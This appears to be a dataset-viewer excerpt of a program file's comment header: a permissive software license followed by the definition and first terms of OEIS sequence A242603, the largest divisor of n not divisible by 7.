; Permission to use, copy, modify, and/or distribute this software for any
; purpose with or without fee is hereby granted.
;
; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
; REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHA... |
; A242603: Largest divisor of n not divisible by 7. Remove factors 7 from n.
; 1,2,3,4,5,6,1,8,9,10,11,12,13,2,15,16,17,18,19,20,3,22,23,24,25,26,27,4,29,30,31,32,33,34,5,36,37,38,39,40,41,6,43,44,45,46,47,48,1,50,51,52,53,54,55,8,57,58,59,60,61,62,9,64,65,66,67,68,69,10,71,72,73,74,75,76,11,78,79,80,81,82,83,12,85,86,... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.